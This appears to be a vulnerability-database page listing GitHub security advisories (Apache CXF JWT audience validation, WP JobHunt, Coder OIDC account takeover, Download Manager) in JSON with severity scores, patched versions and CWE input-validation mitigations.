The JwtAccessTokenValidator class in Apache CXF fails to validate the 'aud' (Audience) claims of incoming JWT access tokens. This allows a JWT issued for one Resource Server to be successfully replayed against a completely different Resource Server, leading to Token Confusion/Routing attacks. Users are recommended to upgrade to versions 4.2.2 or 4.1.7, which fixes this issue.
Severity
9.1 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.cxf:cxf-rt-rs-security-oauth2"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0"
},
{
"fixed": "4.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.cxf:cxf-rt-rs-security-oauth2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50627"
],
"database_specific": {
"cwe_ids": [
"CWE-289",
"CWE-303"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T18:32:04Z",
"nvd_published_at": "2026-06-12T10:16:22Z",
"severity": "CRITICAL"
},
"details": "The JwtAccessTokenValidator class in Apache CXF fails to validate the \u0027aud\u0027 (Audience) claims of incoming JWT access tokens. This allows a JWT issued for one Resource Server to be successfully replayed against a completely different Resource Server, leading to Token Confusion/Routing attacks.\u00a0Users are recommended to upgrade to versions 4.2.2 or 4.1.7, which fixes this issue.",
"id": "GHSA-9mrv-8pvf-hf4m",
"modified": "2026-08-20T18:32:05Z",
"published": "2026-06-12T12:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50627"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:37390"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-50627"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2488298"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/cxf"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/0jfzz9q992957b99tw7hodcqjfyxwb1m"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50627.json"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/06/11/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache CXF OAuth2 Missing JWT Audience and Issuer Validation in Access Token Validator"
}
GHSA-9P64-VWXM-HXQM
Vulnerability from github – Published: 2025-03-14 06:30 – Updated: 2025-03-14 06:30
VLAI
Details
The WP JobHunt plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 7.1. This is due to wp_ajax_google_api_login_callback function not properly verifying a user's identity prior to authenticating them. This makes it possible for unauthenticated attackers to access arbitrary candidate accounts.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2024-11283"
],
"database_specific": {
"cwe_ids": [
"CWE-289"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-14T05:15:37Z",
"severity": "HIGH"
},
"details": "The WP JobHunt plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 7.1. This is due to wp_ajax_google_api_login_callback function not properly verifying a user\u0027s identity prior to authenticating them. This makes it possible for unauthenticated attackers to access arbitrary candidate accounts.",
"id": "GHSA-9p64-vwxm-hxqm",
"modified": "2025-03-14T06:30:41Z",
"published": "2025-03-14T06:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11283"
},
{
"type": "WEB",
"url": "https://themeforest.net/item/jobcareer-job-board-responsive-wordpress-theme/14221636"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cfa487fb-c014-47f1-9537-73881ede30b4?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-9R87-MVCW-X35F
Vulnerability from github – Published: 2026-07-06 20:52 – Updated: 2026-07-06 20:52
VLAI
Summary
Coder vulnerable to OIDC account takeover via email-based user matching and email_verified bypass
Details
Summary
Two flaws in Coder's OIDC login chained into account takeover: email-based user matching fell back to linking by email without checking for an existing link to a different IdP subject and the email_verified claim was only enforced when present as a boolean false so an absent or non-boolean claim was treated as verified.
Impact
An attacker who could authenticate at the configured OIDC provider with an email matching a victim's Coder account could log in as that victim and gain full access to their workspaces, templates and resources. This required OIDC authentication, attacker control of a matching email at the IdP and a victim account not yet linked to a different IdP subject.
Patches
The fix restricts the email fallback to first-time and legacy linking and defaults email_verified to false when the claim is absent or of an unexpected type.
The fix was backported to all supported release lines:
| Release line | Patched version |
|---|---|
| 2.34 | v2.34.2 |
| 2.33 | v2.33.8 |
| 2.32 | v2.32.7 |
| 2.29 (ESR) | v2.29.17 |
Workarounds
Configure the OIDC provider to disallow self-registration or to require email verification before issuing tokens.
Resources
- Fix: #25712, #25713
Credits
Coder would like to thank Anthropic's Security Team (ANT-2026-22450) for independently disclosing this issue!
Severity
7.4 (High)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.34.0"
},
{
"fixed": "2.34.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.33.0"
},
{
"fixed": "2.33.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.30.0"
},
{
"fixed": "2.32.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/coder/coder/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.29.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55075"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-289"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-06T20:52:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nTwo flaws in Coder\u0027s OIDC login chained into account takeover: email-based user matching fell back to linking by email without checking for an existing link to a different IdP subject and the `email_verified` claim was only enforced when present as a boolean `false` so an absent or non-boolean claim was treated as verified.\n\n### Impact\n\nAn attacker who could authenticate at the configured OIDC provider with an email matching a victim\u0027s Coder account could log in as that victim and gain full access to their workspaces, templates and resources. This required OIDC authentication, attacker control of a matching email at the IdP and a victim account not yet linked to a different IdP subject.\n\n### Patches\n\nThe fix restricts the email fallback to first-time and legacy linking and defaults `email_verified` to false when the claim is absent or of an unexpected type.\n\nThe fix was backported to all supported release lines:\n\n| Release line | Patched version |\n|---|---|\n| 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) |\n| 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) |\n| 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) |\n| 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) |\n\n### Workarounds\n\nConfigure the OIDC provider to disallow self-registration or to require email verification before issuing tokens.\n\n### Resources\n\n- Fix: #25712, #25713\n\n### Credits\n\nCoder would like to thank Anthropic\u0027s Security Team (ANT-2026-22450) for independently disclosing this issue!",
"id": "GHSA-9r87-mvcw-x35f",
"modified": "2026-07-06T20:52:13Z",
"published": "2026-07-06T20:52:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coder/coder/security/advisories/GHSA-9r87-mvcw-x35f"
},
{
"type": "WEB",
"url": "https://github.com/coder/coder/pull/25712"
},
{
"type": "WEB",
"url": "https://github.com/coder/coder/pull/25713"
},
{
"type": "PACKAGE",
"url": "https://github.com/coder/coder"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Coder vulnerable to OIDC account takeover via email-based user matching and email_verified bypass"
}
GHSA-9RQ6-59M3-GMGX
Vulnerability from github – Published: 2024-06-13 06:30 – Updated: 2024-06-13 06:30
VLAI
Details
The Download Manager plugin for WordPress is vulnerable to unauthorized access of data due to an improper authorization check on the 'protectMediaLibrary' function in all versions up to, and including, 3.2.89. This makes it possible for unauthenticated attackers to download password-protected files.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2024-2098"
],
"database_specific": {
"cwe_ids": [
"CWE-289",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-13T06:15:09Z",
"severity": "HIGH"
},
"details": "The Download Manager plugin for WordPress is vulnerable to unauthorized access of data due to an improper authorization check on the \u0027protectMediaLibrary\u0027 function in all versions up to, and including, 3.2.89. This makes it possible for unauthenticated attackers to download password-protected files.",
"id": "GHSA-9rq6-59m3-gmgx",
"modified": "2024-06-13T06:30:53Z",
"published": "2024-06-13T06:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2098"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3072712/download-manager"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1301c8af-d81a-40f1-96fa-e8252309d8a4?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-44
Architecture and Design
Strategy: Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Implementation
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
No CAPEC attack patterns related to this CWE.